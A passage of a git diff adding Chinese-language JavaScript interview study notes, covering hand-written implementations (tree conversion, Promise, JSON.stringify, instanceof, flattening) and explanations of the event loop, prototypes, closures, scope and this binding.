name: '部门5', pid: 4 }, + { id: 7, name: '部门7', pid: 6 }, +] + +console.log(JSON.stringify(arrayToTree(data), null, 2)) +/* +[ + { + "id": 1, + "name": "部门1", + "pid": 0, + "children": [ + { + "id": 2, + "name": "部门2", + "pid": 1, + "children": [] + }, + { + "id": 3, + "name": "部门3", + "pid": 1, + "children": [ + { + "id": 4, + "name": "部门4", + "pid": 3, + "children": [ + { + "id": 5, + "name": "部门5", + "pid": 4, + "children": [] + } + ] + } + ] + } + ] + } +] +*/ +复制代码 +``` + +## 9. 树形结构转列表 + +> 反过来也可以试试看 + +```javascript +const tree2list = (tree) => { + let list = [] + let queue = [...tree] + + while (queue.length) { + // 从前面开始取出节点 + const node = queue.shift() + const children = node.children + // 取出当前节点的子节点,放到队列中,等待下一次循环 + if (children.length) { + queue.push(...children) + } + // 删除多余的children树形 + delete node.children + // 放入列表 + list.push(node) + } + + return list +} + +// 测试 +const data = [ + { + "id": 1, + "name": "部门1", + "pid": 0, + "children": [ + { + "id": 2, + "name": "部门2", + "pid": 1, + "children": [] + }, + { + "id": 3, + "name": "部门3", + "pid": 1, + "children": [ + { + "id": 4, + "name": "部门4", + "pid": 3, + "children": [ + { + "id": 5, + "name": "部门5", + "pid": 4, + "children": [] + } + ] + } + ] + } + ] + } +] + +console.log(tree2list(data)) +/* +[ + { id: 1, name: '部门1', pid: 0 }, + { id: 2, name: '部门2', pid: 1 }, + { id: 3, name: '部门3', pid: 1 }, + { id: 4, name: '部门4', pid: 3 }, + { id: 5, name: '部门5', pid: 4 } +] +*/ + +复制代码 +``` + +## 10. sleep延迟执行:star: + +> 实现一个函数,n秒后执行函数func + +```javascript +const sleep = (func, delay) => { + return new Promise((resolve) => { + setTimeout(() => { + resolve(func()) + }, delay) + }) +} + +const consoleStr = (str) => { + return () => { + console.log(str) + return str + } +} + +const doFns = async () => { + const name = await sleep(consoleStr('前端胖头鱼'), 1000) + const sex = await sleep(consoleStr('boy'), 1000) + const age = await sleep(consoleStr(100), 1000) + + console.log(name, sex, age) +} + +doFns() +// 前端胖头鱼 1s later +// boy 2s later +// 100 3s later +// 前端胖头鱼 boy 100 +``` + +## 11. 菲波那切数列:star: + +```javascript +斐波那契数,通常用 F(n) 表示,形成的序列称为 斐波那契数列 。该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是: + +F(0) = 0,F(1) = 1 +F(n) = F(n - 1) + F(n - 2),其中 n > 1 +给你 n ,请计算 F(n) 。 + + +示例 1: + +输入:2 +输出:1 +解释:F(2) = F(1) + F(0) = 1 + 0 = 1 +示例 2: + +输入:3 +输出:2 +解释:F(3) = F(2) + F(1) = 1 + 1 = 2 +示例 3: + +输入:4 +输出:3 +解释:F(4) = F(3) + F(2) = 2 + 1 = 3 +``` + +### 暴力实现 + +> 根据题目意思,很容易写出下面递归的暴力代码 + +```javascript +const fib = (n) => { + if (n === 0) { + return 0 + } + + if (n === 1 || n === 2) { + return 1 + } + + return fib(n -2) + fib(n - 1) +} + +// 测试 +console.log(fib(1)) // 1 +console.log(fib(2)) // 1 +// 试着统计一下计算时间 +const t1 = Date.now() +console.log(fib(44)) // 701408733 +console.log(Date.now() - t1) // 接近4393 +``` + +### 缓存优化:star: + +> 上面的代码可以实现效果,但是性能堪忧,来看一个计算`fib(10)`的过程 + +```javascript +// 计算10 +10 => 9 + 8 // 需要计算9和8 +9 => 8 + 7 // 需要计算8和7 +8 => 7 + 6 // 需要计算7和6 +7 => 6 + 5 // 需要计算6和5 +6 => 5 + 4 // 需要计算5和4 +5 => 4 + 3 // 需要计算4和3 +4 => 3 + 2 // 需要计算3和2 +2 => 1 + 0 // 需要计算1和0 +``` + +这个过程中如果按照上面暴力实现的代码会重复多次计算某些曾经计算过的值,比如8、7、6、5...等等,这个损耗是没有必要的,所以我们可以把计算的结果进行缓存,下次遇到求同样的值,直接返回即可 + +```javascript +const fib = (n) => { + // 缓存过直接返回 + if (fib[n]) { + return fib[n] + } + + if (n === 0) { + return 0 + } + + if (n === 1 || n === 2) { + return 1 + } + + const res = fib(n - 2) + fib(n - 1) + // 缓存计算的结果 + fib[n] = res + + return res +} + +console.log(fib(1)) // 1 +console.log(fib(2)) // 1 + +const t1 = Date.now() +console.log(fib(44)) // 701408733 +console.log(Date.now() - t1) // 1ms +``` + +## 12. 实现一个函数sum函数 + +> 实现一个函数sum函数满足以下规律 + +```javascript +sum(1, 2, 3).valueOf() // 6 +sum(2, 3)(2).valueOf() // 7 +sum(1)(2)(3)(4).valueOf() // 10 +sum(2)(4, 1)(2).valueOf() // 9 +``` + +**分析** + +仔细观察这几种调用方式可以得到以下信息 + +1. sum函数可以传递一个或者多个参数 +2. sum函数调用后返回的是一个新的函数且参数可传递一个或者多个 +3. 调用.valueOf时完成最后计算 + +看起来是不是有点`函数柯里化`的感觉,前面的函数调用仅仅是在缓存每次调用的参数,而valueOf的调用则是拿着这些参数进行一次求和运算并返回结果 + +```javascript +const sum = (...args) => { + // 声明add函数,其实主要是缓存参数的作用 + // 注意add调用完成还是会返回add函数本身,使其可以链式调用 + const add = (...args2) => { + args = [ ...args, ...args2 ] + return add + } + // 求和计算 + add.valueOf = () => args.reduce((ret, num) => ret + num, 0) + + return add +} + +// 测试 +console.log(sum(1, 2, 3).valueOf()) // 6 +console.log(sum(2, 3)(2).valueOf()) // 7 +console.log(sum(1)(2)(3)(4).valueOf()) // 10 +console.log(sum(2)(4, 1)(2).valueOf()) // 9 +``` + +## 1. 实现instanceOf的3种方式 + +> `instanceof` **运算符**用于检测构造函数的 `prototype` 属性是否出现在某个实例对象的原型链上。[MDN上](https://link.juejin.cn?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FJavaScript%2FReference%2FOperators%2Finstanceof) + +**关键点:** 构造函数Fn的`prototype`,实例对象的原型链。 + +所以只要遍历实例对象的原型链,挨个往上查找看是否有与Fn的`prototype`相等的原型,直到最顶层`Object`还找不到,那么就返回false。 + +### 递归实现(方式1) + +```javascript +/** + * + * @param {*} obj 实例对象 + * @param {*} func 构造函数 + * @returns true false + */ +const instanceOf1 = (obj, func) => { + // 必须是对象或者函数 + if (!(obj && ['object', 'function'].includes(typeof obj))) { + return false + } + + let proto = Object.getPrototypeOf(obj) + + if (proto === func.prototype) { + return true + } else if (proto === null) { + return false + } else { + return instanceOf1(proto, func) + } +} + +// 测试 +let Fn = function () { } +let p1 = new Fn() + +console.log(instanceOf1({}, Object)) // true +console.log(instanceOf1(p1, Fn)) // true +console.log(instanceOf1({}, Fn)) // false +console.log(instanceOf1(null, Fn)) // false +console.log(instanceOf1(1, Fn)) // false +``` + +### 遍历实现(方式2) + +```javascript +/** + * + * @param {*} obj 实例对象 + * @param {*} func 构造函数 + * @returns true false + */ +const instanceOf2 = (obj, func) => { + // 必须是对象或者函数 + if (!(obj && ['object', 'function'].includes(typeof obj))) { + return false + } + + let proto = obj + + while (proto = Object.getPrototypeOf(proto)) { + if (proto === func.prototype) { + return true + } + } + + return false +} + +// 测试 +let Fn = function () { } +let p1 = new Fn() + +console.log(instanceOf2({}, Object)) // true +console.log(instanceOf2(p1, Fn)) // true +console.log(instanceOf2({}, Fn)) // false +console.log(instanceOf2(null, Fn)) // false +console.log(instanceOf2(1, Fn)) // false + +复制代码 +``` + +### 遍历实现(方式3) + +```javascript +/** + * + * @param {*} obj 实例对象 + * @param {*} func 构造函数 + * @returns true false + */ +const instanceOf3 = (obj, func) => { + // 必须是对象或者函数 + if (!(obj && ['object', 'function'].includes(typeof obj))) { + return false + } + + let proto = Object.getPrototypeOf(obj) + // 因为一定会有结束的时候(最顶层Object),所以不会是死循环 + while (true) { + if (proto === null) { + return false + } else if (proto === func.prototype) { + return true + } else { + proto = Object.getPrototypeOf(proto) + } + } +} + +// 测试 +let Fn = function () { } +let p1 = new Fn() + +console.log(instanceOf3({}, Object)) // true +console.log(instanceOf3(p1, Fn)) // true +console.log(instanceOf3({}, Fn)) // false +console.log(instanceOf3(null, Fn)) // false +console.log(instanceOf3(1, Fn)) // false + + +复制代码 +``` + +## 2. 实现JSON.stringify(超详细) + +看代码实现前,可以先看看前几天写的一篇悲伤的故事[就因为JSON.stringify,我的年终奖差点打水漂了](https://juejin.cn/post/7017588385615200270) + +> `JSON.stringify() ` 方法将一个 JavaScript 对象或值转换为 JSON 字符串,如果指定了一个 replacer 函数,则可以选择性地替换值,或者指定的 replacer 是数组,则可选择性地仅包含数组指定的属性。[MDN](https://link.juejin.cn?target=https%3A%2F%2Fdeveloper.mozilla.org%2Fzh-CN%2Fdocs%2FWeb%2FJavaScript%2FReference%2FGlobal_Objects%2FJSON%2Fstringify) + +> `JSON.stringify`本身有非常多的转换规则和特性(详情请查看MDN),要完整实现还是挺麻烦的(为了实现这个函数`胖头鱼`快不会动了o(╥﹏╥)o) + +```javascript +const jsonstringify = (data) => { + // 确认一个对象是否存在循环引用 + const isCyclic = (obj) => { + // 使用Set数据类型来存储已经检测过的对象 + let stackSet = new Set() + let detected = false + + const detect = (obj) => { + // 不是对象类型的话,可以直接跳过 + if (obj && typeof obj != 'object') { + return + } + // 当要检查的对象已经存在于stackSet中时,表示存在循环引用 + if (stackSet.has(obj)) { + return detected = true + } + // 将当前obj存如stackSet + stackSet.add(obj) + + for (let key in obj) { + // 对obj下的属性进行挨个检测 + if (obj.hasOwnProperty(key)) { + detect(obj[key]) + } + } + // 平级检测完成之后,将当前对象删除,防止误判 + /* + 例如:对象的属性指向同一引用,如果不删除的话,会被认为是循环引用 + let tempObj = { + name: '前端胖头鱼' + } + let obj4 = { + obj1: tempObj, + obj2: tempObj + } + */ + stackSet.delete(obj) + } + + detect(obj) + + return detected +} + + // 特性七: + // 对包含循环引用的对象(对象之间相互引用,形成无限循环)执行此方法,会抛出错误。 + if (isCyclic(data)) { + throw new TypeError('Converting circular structure to JSON') + } + + // 特性九: + // 当尝试去转换 BigInt 类型的值会抛出错误 + if (typeof data === 'bigint') { + throw new TypeError('Do not know how to serialize a BigInt') + } + + const type = typeof data + const commonKeys1 = ['undefined', 'function', 'symbol'] + const getType = (s) => { + return Object.prototype.toString.call(s).replace(/\[object (.*?)\]/, '$1').toLowerCase() + } + + // 非对象 + if (type !== 'object' || data === null) { + let result = data + // 特性四: + // NaN 和 Infinity 格式的数值及 null 都会被当做 null。 + if ([NaN, Infinity, null].includes(data)) { + result = 'null' + // 特性一: + // `undefined`、`任意的函数`以及`symbol值`被`单独转换`时,会返回 undefined + } else if (commonKeys1.includes(type)) { + // 直接得到undefined,并不是一个字符串'undefined' + return undefined + } else if (type === 'string') { + result = '"' + data + '"' + } + + return String(result) + } else if (type === 'object') { + // 特性五: + // 转换值如果有 toJSON() 方法,该方法定义什么值将被序列化 + // 特性六: + // Date 日期调用了 toJSON() 将其转换为了 string 字符串(同Date.toISOString()),因此会被当做字符串处理。 + if (typeof data.toJSON === 'function') { + return jsonstringify(data.toJSON()) + } else if (Array.isArray(data)) { + let result = data.map((it) => { + // 特性一: + // `undefined`、`任意的函数`以及`symbol值`出现在`数组`中时会被转换成 `null` + return commonKeys1.includes(typeof it) ? 'null' : jsonstringify(it) + }) + + return `[${result}]`.replace(/'/g, '"') + } else { + // 特性二: + // 布尔值、数字、字符串的包装对象在序列化过程中会自动转换成对应的原始值。 + if (['boolean', 'number'].includes(getType(data))) { + return String(data) + } else if (getType(data) === 'string') { + return '"' + data + '"' + } else { + let result = [] + // 特性八 + // 其他类型的对象,包括 Map/Set/WeakMap/WeakSet,仅会序列化可枚举的属性 + Object.keys(data).forEach((key) => { + // 特性三: + // 所有以symbol为属性键的属性都会被完全忽略掉,即便 replacer 参数中强制指定包含了它们。 + if (typeof key !== 'symbol') { + const value = data[key] + // 特性一 + // `undefined`、`任意的函数`以及`symbol值`,出现在`非数组对象`的属性值中时在序列化过程中会被忽略 + if (!commonKeys1.includes(typeof value)) { + result.push(`"${key}":${jsonstringify(value)}`) + } + } + }) + + return `{${result}}`.replace(/'/, '"') + } + } + } +} + +// 各种测试 + +// 1. 测试一下基本输出 +console.log(jsonstringify(undefined)) // undefined +console.log(jsonstringify(() => { })) // undefined +console.log(jsonstringify(Symbol('前端胖头鱼'))) // undefined +console.log(jsonstringify((NaN))) // null +console.log(jsonstringify((Infinity))) // null +console.log(jsonstringify((null))) // null +console.log(jsonstringify({ + name: '前端胖头鱼', + toJSON() { + return { + name: '前端胖头鱼2', + sex: 'boy' + } + } +})) +// {"name":"前端胖头鱼2","sex":"boy"} + +// 2. 和原生的JSON.stringify转换进行比较 +console.log(jsonstringify(null) === JSON.stringify(null)); +// true +console.log(jsonstringify(undefined) === JSON.stringify(undefined)); +// true +console.log(jsonstringify(false) === JSON.stringify(false)); +// true +console.log(jsonstringify(NaN) === JSON.stringify(NaN)); +// true +console.log(jsonstringify(Infinity) === JSON.stringify(Infinity)); +// true +let str = "前端胖头鱼"; +console.log(jsonstringify(str) === JSON.stringify(str)); +// true +let reg = new RegExp("\w"); +console.log(jsonstringify(reg) === JSON.stringify(reg)); +// true +let date = new Date(); +console.log(jsonstringify(date) === JSON.stringify(date)); +// true +let sym = Symbol('前端胖头鱼'); +console.log(jsonstringify(sym) === JSON.stringify(sym)); +// true +let array = [1, 2, 3]; +console.log(jsonstringify(array) === JSON.stringify(array)); +// true +let obj = { + name: '前端胖头鱼', + age: 18, + attr: ['coding', 123], + date: new Date(), + uni: Symbol(2), + sayHi: function () { + console.log("hello world") + }, + info: { + age: 16, + intro: { + money: undefined, + job: null + } + }, + pakingObj: { + boolean: new Boolean(false), + string: new String('前端胖头鱼'), + number: new Number(1), + } +} +console.log(jsonstringify(obj) === JSON.stringify(obj)) +// true +console.log((jsonstringify(obj))) +// {"name":"前端胖头鱼","age":18,"attr":["coding",123],"date":"2021-10-06T14:59:58.306Z","info":{"age":16,"intro":{"job":null}},"pakingObj":{"boolean":false,"string":"前端胖头鱼","number":1}} +console.log(JSON.stringify(obj)) +// {"name":"前端胖头鱼","age":18,"attr":["coding",123],"date":"2021-10-06T14:59:58.306Z","info":{"age":16,"intro":{"job":null}},"pakingObj":{"boolean":false,"string":"前端胖头鱼","number":1}} + +// 3. 测试可遍历对象 +let enumerableObj = {} + +Object.defineProperties(enumerableObj, { + name: { + value: '前端胖头鱼', + enumerable: true + }, + sex: { + value: 'boy', + enumerable: false + }, +}) + +console.log(jsonstringify(enumerableObj)) +// {"name":"前端胖头鱼"} + +// 4. 测试循环引用和Bigint + +let obj1 = { a: 'aa' } +let obj2 = { name: '前端胖头鱼', a: obj1, b: obj1 } +obj2.obj = obj2 + +console.log(jsonstringify(obj2)) +// TypeError: Converting circular structure to JSON +console.log(jsonStringify(BigInt(1))) +// TypeError: Do not know how to serialize a BigInt + +复制代码 +``` + +## 3. 实现一个Promise + +> 篇幅原因,这里就不介绍Promise A+规范以及`then`函数之外的其他详细实现了,下面这个版本我一般在面试中常用,基本直接通过。 + +```javascript +class MyPromise { + constructor (exe) { + // 最后的值,Promise .then或者.catch接收的值 + this.value = undefined + // 状态:三种状态 pending success failure + this.status = 'pending' + // 成功的函数队列 + this.successQueue = [] + // 失败的函数队列 + this.failureQueue = [] + const resolve = (value) => { + const doResolve = () => { + // 将缓存的函数队列挨个执行,并且将状态和值设置好 + if (this.status === 'pending') { + this.status = 'success' + this.value = value + + while (this.successQueue.length) { + const cb = this.successQueue.shift() + + cb && cb(this.value) + } + } + } + + setTimeout(doResolve, 0) + } + + const reject = (value) => { + // 基本同resolve + const doReject = () => { + if (this.status === 'pending') { + this.status = 'failure' + this.value = value + + while (this.failureQueue.length) { + const cb = this.failureQueue.shift() + + cb && cb(this.value) + } + } + } + + setTimeout(doReject, 0) + } + + exe(resolve, reject) + } + + then (success = (value) => value, failure = (value) => value) { + // .then返回的是一个新的Promise + return new MyPromise((resolve, reject) => { + // 包装回到函数 + const successFn = (value) => { + try { + const result = success(value) + // 如果结果值是一个Promise,那么需要将这个Promise的值继续往下传递,否则直接resolve即可 + result instanceof MyPromise ? result.then(resolve, reject) : resolve(result) + } catch (err) { + reject(err) + } + } + // 基本筒成功回调函数的封装 + const failureFn = (value) => { + try { + const result = failure(value) + + result instanceof MyPromise ? result.then(resolve, reject) : resolve(result) + } catch (err) { + reject(err) + } + } + // 如果Promise的状态还未结束,则将成功和失败的函数缓存到队列里 + if (this.status === 'pending') { + this.successQueue.push(successFn) + this.failureQueue.push(failureFn) + // 如果已经成功结束,直接执行成功回调 + } else if (this.status === 'success') { + success(this.value) + } else { + // 如果已经失败,直接执行失败回调 + failure(this.value) + } + }) + } + // 其他函数就不一一实现了 + catch () { + + } +} +// 以下举个例子,验证一下以上实现的结果 +const pro = new MyPromise((resolve, reject) => { + setTimeout(resolve, 1000) + setTimeout(reject, 2000) +}) + +pro + .then(() => { + console.log('2_1') + const newPro = new MyPromise((resolve, reject) => { + console.log('2_2') + setTimeout(reject, 2000) + }) + console.log('2_3') + return newPro + }) + .then( + () => { + console.log('2_4') + }, + () => { + console.log('2_5') + } + ) + +pro + .then( + data => { + console.log('3_1') + throw new Error() + }, + data => { + console.log('3_2') + } + ) + .then( + () => { + console.log('3_3') + }, + e => { + console.log('3_4') + } + ) +// 2_1 +// 2_2 +// 2_3 +// 3_1 +// 3_4 +// 2_5 +``` + +## 4. 实现多维数组扁平化的3种方式 :star: + +```js + +/** + * + * @param {*} array 深层嵌套的数据 + * @returns array 新数组 + */ +const flat1 = (array) => { + return array.reduce((result, it) => { + return result.concat(Array.isArray(it) ? flat1(it) : it) + }, []) +} + +// 测试 +let arr1 = [ + 1, + [ 2, 3, 4 ], + [ 5, [ 6, [ 7, [ 8 ] ] ] ] +] +console.log(flat1(arr1)) // [1, 2, 3, 4, 5, 6, 7, 8] +``` + +```js +/** + * + * @param {*} array 深层嵌套的数据 + * @returns array 新数组 + */ + +const flat2 = (array) => { + const result = [] + // 展开一层 + const stack = [ ...array ] // 利用stack存储子array + + while (stack.length !== 0) { + // 取出最后一个元素 + const val = stack.pop() + + if (Array.isArray(val)) { + // 遇到是数组的情况,往stack后面推入 + stack.push(...val) + } else { + // 往数组前面推入 + result.unshift(val) + } + } + + return result +} +// 测试 +let arr2 = [ + 1, + [ 2, 3, 4 ], + [ 5, [ 6, [ 7, [ 8 ] ] ] ] +] + +console.log(flat2(arr2)) // [1, 2, 3, 4, 5, 6, 7, 8] +``` + +```js + +/** + * + * @param {*} array 深层嵌套的数据 + * @returns 新数组 + */ +const flat3 = (array) => { + return array.flat(Infinity) +} +// 测试 +let arr3 = [ + 1, + [ 2, 3, 4 ], + [ 5, [ 6, [ 7, [ 8 ] ] ] ] +] + +console.log(flat3(arr3)) // [1, 2, 3, 4, 5, 6, 7, 8] +``` + +## 12. 实现trim方法的两种方式 + +```js +const trim = (str) => { + return str.replace(/^\s*|\s*$/g, '') +} +``` + +## 13. 实现Promise.all + +```js +Promise.myAll = (promises) => { + // 符合条件3,返回一个Promise + return new Promise((rs, rj) => { + let count = 0 + let result = [] + const len = promises.length + + promises.forEach((p, i) => { + // 符合条件1,将数组里的项通过Promise.resolve进行包装 + Promise.resolve(p).then((res) => { + count += 1 + result[ i ] = res + // 符合条件2 等待所有都完成 + if (count === len) { + rs(result) + } + // 符合条件2 只要一个失败就都失败 + }).catch(rj) + }) + }) +} + +let p1 = Promise.resolve(1) +let p2 = 2 +let p3 = new Promise((resolve, reject) => { + setTimeout(resolve, 100, 3) +}) + +let p4 = Promise.reject('出错啦') + +Promise.myAll([p1, p2, p3]).then((res) => { + console.log(res); // [ 1, 2, 3 ] +}); + + +Promise.myAll([ p1, p2, 3 ]).then((res) => { + console.log(res) // [ 1, 2, 3 ] +}).catch((err) => { + console.log('err', err) +}) + + +Promise.myAll([ p1, p2, p4 ]).then((res) => { + console.log(res) +}).catch((err) => { + console.log('err', err) // err 出错啦 +}) +``` + +## 14. 实现Promise.race + +```js +Promise.myRace = (promises) => { + // 返回一个新的Promise + return new Promise((rs, rj) => { + promises.forEach((p) => { + // 包装一下promises中的项,防止非Promise .then出错 + // 只要有任意一个完成了或者拒绝了,race也就结束了 + Promise.resolve(p).then(rs).catch(rj) + }) + }) +} + +const promise1 = new Promise((resolve, reject) => { + setTimeout(resolve, 500, 1); +}); + +const promise2 = new Promise((resolve, reject) => { + setTimeout(resolve, 100, 2); +}); + +Promise.myRace([promise1, promise2]).then((value) => { + // 因为promise2更快所以打印出2 + console.log(value) // 2 +}); + +Promise.myRace([promise1, promise2, 3]).then((value) => { + // 3比其他两个更快 + console.log(value) // 3 +}); +``` + diff --git "a/src/\345\205\253\350\202\241\346\226\207/JavaScript/\345\260\217\346\273\264\350\257\276\345\240\202JS\351\242\230\347\233\256\346\261\207\346\200\273.md" "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/\345\260\217\346\273\264\350\257\276\345\240\202JS\351\242\230\347\233\256\346\261\207\346\200\273.md" new file mode 100644 index 00000000..93795e0d --- /dev/null +++ "b/src/\345\205\253\350\202\241\346\226\207/JavaScript/\345\260\217\346\273\264\350\257\276\345\240\202JS\351\242\230\347\233\256\346\261\207\346\200\273.md" @@ -0,0 +1,803 @@ +--- +date: 2022-06-29 +category: +- 前端 +- JavaScript +--- +# 小滴课堂JS题目汇总 + +### 第四章 应聘大厂工程师的编程语言JavaScript了解多少《上》 + +#### 你知道JS的事件循环机制吗? + +**简介:剖析JS事件循环** + +- 难度【***】 + +- JavaScript语言 + + - 是一门**单线程**的**非阻塞**的脚本语言 + + - 为什么 JS 是一门单线程的语言? + + ``` + 因为在浏览器中,需要对各种的DOM操作; + 当JS是多线程的话,如果有两个线程同时对同一个DOM进行操作,一个是在这个DOM上绑定事件,另外一个是删除该DOM,此时就会产生歧义 + 因此为了保证这种事情不会发生,所以JS以单线程来执行代码,保证了一致性 + ``` + + - JS 非阻塞应该如何理解? + + ``` + 当JS代码从上往下执行,遇到需要进行一项异步任务的时候, + 主线程会挂起这个任务,继续往下执行代码,然后在异步任务返回结果的时候再根据一定规则去执行 + ``` + + 思考:那么这个非阻塞是如何实现的呢?此时就需要用到事件循环(event loop) + + - 事件循环 + + image-20220222182348608 + + - 结合代码分析事件循环 + + ```js + // 同步任务 + console.log('首次同步任务开始'); + + // 异步任务(宏任务) + setTimeout(() => { + console.log('setTimeout 1'); + new Promise((resolve) => { + console.log('Promise1'); + resolve(); + }).then(() => { + console.log('Promise then 1'); + }); + }, 1000); + + // 同步任务 + console.log('首次同步任务结束'); + + // 异步任务(微任务) + new Promise((resolve) => { + console.log('Promise2'); + resolve(); + }).then(() => { + console.log('Promise then 2'); + }); + ``` + + - 异步任务分类:宏任务(setTimeout),微任务(promise) + - 所有同步任务都在主线程上执行,形成一个执行栈 + - 遇到异步任务放到任务表中,等事件执行完成(ajax请求完成、setTimeout设置时间到期),之后放入到任务队列 + - 当执行栈的同步任务执行完成之后,就会执行任务队列的第一个异步任务,其中把宏观任务和微观任务都执行完成后才进行下一次循环 + + +#### 你知道深浅拷贝吗? + +**简介:剖析深浅拷贝** + +- 难度【***】 + + +- 深浅拷贝都是针对复杂类型数据才有的概念,基本类型数据不具备 + +image-20220222190544024 + +- 浅拷贝 + + - 两个引用类型指向同一个地址,改变一个,另一个也会随之改变 + + ```js + var c = { num: 18 }; + var d = c; + c.num = 20; + console.log('c:', c, 'd:', d); + ``` + +- 深拷贝 + + - 复制后引用类型指向一个新的内存地址,两个对象改变互不影响 + + ```js + var c = { num: 18 }; + var d = JSON.parse(JSON.stringify(c)) + c.num = 20; + console.log('c:', c, 'd:', d); + ``` + + + +- 连环问 + + - 基本类型数据的赋值是浅拷贝还是深拷贝? + + ```js + 赋值既不是深拷贝也不是浅拷贝,只是跟深拷贝是类似 + ``` + + - 数组的方法:concat、slice是浅拷贝还是深拷贝? + + ```js + concat、slice对一维数组来说是深拷贝,多维数组的话是浅拷贝 + + var a = [1, 2, 3]; + var b = [4, 5]; + var ab = a.concat(b); + a = [2, 3]; + + console.log(ab); + ``` + +#### 你知道JS中new的作用吗? + +**简介:关键字new的作用** + +难度【**】 + +- 当没使用new关键字,直接调用构造函数时 + + ```js + // 构造函数内部的this指向的是window + function Student(obj) { + this.name = obj.name; + this.score = obj.score; + this.grade = obj.grade; + console.log(this); + } + + var stu1 = Student({ + name: 'Jack', + score: 88, + grade: 3, + }); + console.log(stu1); + + // 1.把对象返回了回来 + // 2.把构造函数的this指向了要返回的对象 + ``` + +- new + + - 创建了新空对象 + + - 将构造函数的作用域赋值给新对象(this指向新对象) + + - 执行构造函数代码 (为这个新对象添加属性) + + - 返回新对象 + + ```js + function Student(obj) { + // this={}; + this.name = obj.name; + this.score = obj.score; + this.grade = obj.grade; + // return this; + } + var a = new Student({ name: '1', score: '2', grade: '3' }); + console.log(a); + ``` + + +#### 说说你对JS中的原型链的理解 + +**简介:剖析原型链** + +难度【***】 + +- 原型(`prototype`) + + - 是function对象的一个属性,它定义了构造函数制造出的对象的公共祖先,通过该构造函数产生的对象,可以继承该原型的属性和方法,原型也是对象 + + ```js + function Person() {} + Person.prototype.name = '大钊'; + Person.prototype.a = function () { + console.log(11); + }; + + var person1 = new Person(); + + console.log(person1.name); + person1.a(); + ``` + + - 作用 + + - 构造函数实例化出来的对象可以使用公共的属性或者⽅法 + + +- 函数对象才有`prototype`属性 + +- 原型链 + + - js⾥万物皆对象,所以⼀直访问`__proto__`属性就会产⽣⼀条链条 + + - 链条的尽头是null (Object.prototype.`__proto__`) + + - 当js引擎查找对象的属性时,会先判断对象本身是否存在该属性 + + - 不存在的属性就会沿着原型链往上找 + + image-20220222215340646 + + + + ```js + function Car() {} + Car.prototype.name = '大钊'; + var car = new Car(); + ``` + + + +- 总结 + + - 原型主要是解决继承问题 + - 每个对象拥有一个原型对象,通过 `__proto__` 指针指向其原型对象,并从中继承方法和属性 + - 同时原型对象也可能拥有原型,这样一层一层,最终指向 null(Object.proptotype.proto指向的是null) + - 上述的关系被称为原型链,通过原型链一个对象可以拥有定义在其他对象中的属性和方法 + + +#### 第5集 如何理解JS中的闭包 + +**简介:剖析闭包** + +难度【**】 + +- 思考一个计数器 + + ```js + // 初始化计数器 + var a = 0; + + // 递增计数器的函数 + function add() { + a++; + console.log(a) + } + + // 调⽤三次 add() + add(); + add(); + add(); + ``` + +- 闭包 + + ```js + function add() { + var a = 0; + return function adds() { + a++; + console.log(a); + }; + } + + // 调⽤三次 add() + const xd = add(); + xd(); + xd(); + xd(); + ``` + + - 闭包是指有权访问另⼀个函数作⽤域中的变量的函数 + - 实现外界访问函数体内部的变量 + +#### 第6集 你知道JS中的执行上下文是什么吗? + +**简介:剖析执行上下文** + +难度【***】 + +- 执行上下文 + + - JS代码被解析和执行时存在的环境(ECMAscript中定义的抽象概念) + +- 类型 + + - 全局执行上下文 + + - 声明在全局下的变量和函数所处的环境 + + - 函数执行上下文 + + - 函数每次被调用都会创建新的执行上下文,可以存在任意数量的函数执行上下文 + + - eval函数执行上下文 + + - 运行在eval函数中的执行上下文(用不到不做讨论) + +- 生命周期 + + - 创建阶段 + + - 创建变量对象:初始化参数、提升函数声明和变量声明 + + - 确定this指向 + + - 源代码 + + ```js + // 代码执行 + console.log(xd); + fn(); + + // 函数定义 + function fn() { + console.log('你好'); + } + + // 变量定义 + var xd = '小滴课堂'; + ``` + + - 编译后的代码 + + ```js + // 声明 + function fn(){ + console.log('你好'); + } + var xd + + console.log(xd); + fn(); + + xd = '小滴课堂'; + ``` + + + +- 执行阶段 + + - 变量赋值 + - 代码执行 + + - 回收阶段 + + - 执行上下文出栈,js自动执行垃圾回收机制 + +#### JS中的作用域和作用域链是什么? + +**简介:剖析作用域** + +难度【***】 + +- 作用域 + + - 可访问变量,对象,函数的集合 + +- 分类 + + - 全局作用域 + + - 全局变量定义在函数外部,具有全局作用域 + + - 函数作用域(局部作用域) + + - 局部变量定义在函数内部,具有局部作用域 + + - 块级作用域(ES6的let、const) + + - 在 {} 中使用ES6的let、const方式声明,具有块级作用域 + +- 代码示例 + + ```js + function A() { + var a = 'a函数变量'; + + function B() { + var b = 'b函数变量'; + } + B(); + } + + var c = '全局变量'; + A(); + ``` + +- 图解 + + image-20220223173624476 + + + +- 连环问 + + - 执行上下文和作用域有什么区别? :star: + + ``` + 函数定义时,作用域就已经确认了,每次函数调用时与变量的访问有关, 并且每次调用都是独立的 + 而执行上下文主要是关键字this的值,这个是由函数运行时决定的,简单来说就是谁调用此函数,this就指向谁 + ``` + +#### 第8集 你知道改变this指向call/apply/bind的用法吗? + +**简介:剖析call/apply/bind** + +- 难度【**】 + + +- 用法 + + - 三个方法都是改变this指向的 + +- 思考 + + + - 情况一 + + ```js + var xd = '小滴课堂'; + function show() { + console.log(this.xd); + } + + show(); // 小滴课堂 + ``` + + - 情况二 + + ```js + var name = '张三'; + var age = '18'; + var obj1 = { + name: '李四', + say: function () { + console.log(this.name + this.age); + }, + }; + + obj1.say() // 李四 + undefined + ``` + + - 两种情况函数里的 this 指向不同,第一个 this 指向 obj,第二个是指向window + +- 对比三者的使用 + + ```js + const name = '张三'; + const age = '18'; + const obj1 = { + name: '李四', + fun: function () { + console.log('名字:' + this.name + ' 年龄:' + this.age); + }, + }; + + const obj2 = { + name: '王五', + age: '19', + }; + + obj1.fun.call(obj2); // 名字:王五 年龄:19 + obj1.fun.apply(obj2); // 名字:王五 年龄:19 + obj1.fun.bind(obj2)(); // 名字:王五 年龄:19 + ``` + +- 对比三者的传参 + + ```js + const name = '张三'; + const age = '18'; + const obj1 = { + name: '李四', + fun: function (sex, hobby) { + console.log( + '名字:' + + this.name + ' 年龄:' + this.age + ' 性别:' + sex + ' 爱好:' + hobby + ); + }, + }; + + const obj2 = { + name: '王五', + age: '19', + }; + + obj1.fun.call(obj2, '男', '敲代码'); // 名字:王五 